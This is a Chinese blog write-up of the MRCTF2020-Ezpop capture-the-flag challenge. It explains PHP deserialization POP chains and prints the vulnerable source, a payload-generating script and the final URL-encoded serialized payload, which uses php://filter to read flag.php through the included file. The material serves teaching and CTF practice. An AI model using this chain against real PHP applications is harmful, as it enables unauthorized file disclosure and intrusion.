PHP反序列化之POP链学习 - MRCTF2020-Ezpop

PHP反序列化之POP链学习 - MRCTF2020-Ezpop

本文以MRCTF2020-Ezpop这一CTF题目为例,详细记录了我在探索PHP POP链反序列化过程中的学习与实践经历,从题目分析、漏洞挖掘到技术实现,旨在提供实战参考与启发。

MRCTF2020-Ezpop 题目分析

源码

<?php
class Modifier {
protected $var;
public function append($value) {
include($value);
}
public function __invoke() {
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString() {
return $this->str->source;
}

public function __wakeup() {
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct() {
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if (isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else {
$a=new Show;
highlight_file(__FILE__);
}

构造 PHP POP 链的过程

思路与原理

根据最后执行的语句来看

if (isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else {
$a=new Show;
highlight_file(__FILE__);
}

if 判断语句中,需要从 pop 参数中拿去序列化字符串后进行反序列化操作。如果没有 pop 参数则直接生成 Show 这个类,然后将当前 PHP 文件直接以彩色格式打印出来。

那么很明显,我们唯一可以利用的就是反序列化了。接下来我们来分析下源码:

  1. Modifier
    1. 这个类有 var 属性是我们可以控制的。
    2. 这个类有一个 __invoke() 魔术方法,需要当对象被当作函数调用的时候才能触发。
    3. 这个 __invoke() 魔术方法中调用了 append() 这个方法,并将 var 属性的值传入进去。
    4. append() 方法中又包含了一个 include() 方法。
    5. 所以最后 var 属性的值被 include() 方法给包含了。
    6. 综上所述,如果能触发 __invoke() 魔术方法、并控制 var 属性的值,则可以实现文件包含。
  2. Show
    1. 这个类有 sourcestr 属性是我们可以控制的。
    2. 这个类有一个 __construct() 魔术方法,需要当对象被创建时才能触发。
    3. 这个 __construct() 魔术方法将 index.php 这个值保存在 source 属性中,并打印出 Welcome to index.php
    4. 这个类有一个 __toString() 魔术方法,需要当对象被当作字符串的时候才能触发。
    5. 这个 __toString() 魔术方法中返回了 $this->str->source,假设 $this->str 是另一个类的实例,当访问 source 属性的时候,如果该属性不存在,则会触发 __get() 魔术方法。
    6. 这个类有一个 __wakeup() 魔术方法,需要在反序列化时触发。
    7. 这个 __wakeup() 魔术方法中首先检查 source 属性是否包含一些危险的协议(在检查的过程中,会触发 __toString() 魔术方法,当然这里需要是对象被当作字符串使用才行)。如果存在,则打印 hacker,并将 index.php 这个值保存在 source 属性中。不过黑名单的方式总是可以绕过的。
  3. Test
    1. 这个类有 p 属性是我们可以控制的。
    2. 这个类有一个 __construct() 魔术方法,需要当对象被创建时才能触发。
    3. 这个 __construct() 魔术方法将 p 属性初始化为一个空数组。
    4. 这个类有一个 __get() 魔术方法,需要当访问不可访问的属性(protectedprivate)或不存在的属性的时候才能触发。
    5. 这个 __get() 魔术方法将 p 属性的值保存在 function 属性中,并把 function 属性作为函数返回。这时,联系到 Modifier 类,如果 p 属性是 Modifier 类的实例,那么将对象作为函数调用返回,就会触发 Modifer 类中的__invoke() 魔术方法。

这就是对整个代码的解读,这时候就需要将POP链串起来了:

  1. 首先在 if 判断语句中,反序列化会调用 Show 类中的 __wakeup() 魔术方法。
  2. 接着在 __wakeup() 魔术方法中 $this->source 属性作为 Show 的另一个实例触发了 Show 中的 __toString() 魔术方法。
  3. __toString() 魔术方法中 $this->str 属性如果是 Test 类,调用 source 这个不存在的属性的时候就会触发 __get() 魔术方法。$this->str 属性肯定不能是 Modifier 类,因为 Modifier 类中没有 __get() 魔术方法用来触发。
  4. __get() 魔术方法中将 Modifer 类实例作为 $this->p 放在 function 属性中,当作函数调用,触发 Modifier 类中的 __invoke() 魔术方法后使用 append() 方法包含 var 属性中的文件。
  5. 最后只需要将文件路径传入我们可以控制的属性 var 即可。

最后 POP 链如下:Show::__wakup() > Show::__toString() > Test::__get() > Modifier::__invoke() > Modifier::append > include

具体步骤

做这种反序列化题,首先我们把可控的类、属性等拷贝到新的文件 payload.php

<?php
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php'; // 目标文件
}

class Show {
public $source;
public $str;
}

class Test {
public $p;
}

根据POP利用链初始化类:

$a = new Show();
$b = new Show();
$c = new Test();
$d = new Modifier();

将它们串起来:

$a->source = $b;
$b->str = $c;
$c->p = $d;

最后因为是打算在浏览器中发送序列化后的字符串,以 urlencode() 方式打印出这些字符串:

echo urlencode(serialize($a));

最终的 Payload 为:

<?php

class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
public $source;
public $str;
}

class Test{
public $p;
}

$a = new Show();
$b = new Show();
$c = new Test();
$d = new Modifier();

$a->source = $b;
$b->str = $c;
$c->p = $d;
echo urlencode(serialize($a));

漏洞利用演示与结果

利用流程展示

执行 payload.php 生成 Payload:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

发送请求包:

得到返回的 Base64 编码后的结果。

攻击结果

将 Base64 编码后的内容解码后得到 Flag:

作者

Qingyun Wu

发布于

02-08-2025

更新于

02-09-2025

许可协议